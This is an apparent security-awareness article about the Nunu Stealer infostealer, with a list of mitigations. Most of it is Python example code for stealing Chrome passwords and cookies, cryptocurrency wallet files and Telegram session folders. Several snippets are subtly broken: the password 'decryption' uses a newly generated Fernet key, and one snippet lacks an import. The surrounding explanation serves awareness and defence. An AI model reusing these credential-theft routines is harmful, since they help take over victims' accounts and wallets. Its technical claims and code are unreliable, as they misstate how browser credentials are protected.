Contact

Nunu Stealer Malware: Functionality, Threats, and Mitigation

Nunu Stealer is a newly discovered Python-based infostealer, derived from the older Akira Stealer strain. This malware is designed to exfiltrate various types of sensitive information, including banking credentials, credit card data, login credentials, browser autofill data, cookies, Discord tokens, cryptocurrency wallets, and session data from third-party applications. Given its ability to compromise user accounts and facilitate further intrusions, understanding its behavior, attack methods, and mitigation strategies is essential for cybersecurity professionals.

How Nunu Stealer Works

Nunu Stealer employs multiple attack vectors to infiltrate a victim’s system. It typically spreads through phishing emails, malicious downloads, and cracked software. Once executed, it collects sensitive data, encrypts it, and exfiltrates it to a command-and-control (C2) server.

1. Credential Theft

Nunu Stealer extracts saved credentials from browsers such as Chrome, Edge, and Firefox. It accesses the SQLite database where browsers store passwords.

Example Code:

import sqlite3
import os
from cryptography.fernet import Fernet

def get_chrome_passwords():
    path = os.getenv("APPDATA") + "\\..\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"
    conn = sqlite3.connect(path)
    cursor = conn.cursor()
    cursor.execute("SELECT origin_url, username_value, password_value FROM logins")
    for row in cursor.fetchall():
        print(f"Site: {row[0]}, Username: {row[1]}, Password: {decrypt_password(row[2])}")
    conn.close()

def decrypt_password(encrypted_password):
    key = Fernet.generate_key()
    cipher = Fernet(key)
    return cipher.decrypt(encrypted_password)

get_chrome_passwords()

2. Cookie Theft

Nunu Stealer can hijack session cookies, allowing attackers to bypass authentication mechanisms.

Example Code:

import sqlite3
import os

def get_cookies():
    cookie_db = os.getenv("APPDATA") + "\\..\\Local\\Google\\Chrome\\User Data\\Default\\Cookies"
    conn = sqlite3.connect(cookie_db)
    cursor = conn.cursor()
    cursor.execute("SELECT host_key, name, value FROM cookies")
    for row in cursor.fetchall():
        print(f"Domain: {row[0]}, Cookie Name: {row[1]}, Cookie Value: {row[2]}")
    conn.close()

get_cookies()

3. Cryptocurrency Wallet Theft

Nunu Stealer targets wallets such as MetaMask, Exodus, and Atomic Wallet by scanning for wallet directories and stealing private keys.

Example Code:

import os

def find_wallets():
    paths = ["C:\\Users\\User\\AppData\\Roaming\\MetaMask", "C:\\Users\\User\\AppData\\Roaming\\Exodus"]
    for path in paths:
        if os.path.exists(path):
            with open(path + "\\wallet.dat", "rb") as wallet:
                data = wallet.read()
                print(f"Stolen Wallet Data: {data}")

find_wallets()

4. Telegram Session Hijacking

Nunu Stealer targets Telegram session files stored in the user’s system to hijack accounts.

Example Code:

import shutil

def steal_telegram_session():
    telegram_path = os.getenv("APPDATA") + "\\Telegram Desktop\\tdata"
    destination = "C:\\stolen_sessions\\tdata"
    shutil.copytree(telegram_path, destination)
    print("Telegram session stolen!")

steal_telegram_session()

Real-World Example of Nunu Stealer in Action

In 2024, cybersecurity researchers discovered a campaign distributing Nunu Stealer through phishing emails disguised as cryptocurrency investment opportunities. Victims who downloaded and executed the attached Python script unknowingly allowed the malware to steal their credentials and wallet keys, leading to significant financial losses.

Mitigation Strategies

  1. Use Strong Endpoint Protection: Implement next-generation antivirus (NGAV) solutions and behavioral analysis tools like VMware Carbon Black.
  2. Enable Two-Factor Authentication (2FA): Protect critical accounts to prevent unauthorized access.
  3. Avoid Storing Passwords in Browsers: Use password managers instead.
  4. Monitor Network Traffic: Detect anomalies that indicate C2 communication.
  5. Educate Users: Raise awareness about phishing attacks and social engineering tactics.
Conclusion

Nunu Stealer is a sophisticated threat targeting sensitive user data. By understanding its functionality and leveraging robust security practices, individuals and organizations can mitigate its impact. As malware threats continue to evolve, staying informed and proactive remains crucial in safeguarding digital assets.

Disclaimer: The provided example codes are for educational and cybersecurity awareness purposes only. Unauthorized access to computer systems is illegal and unethical.

Related Posts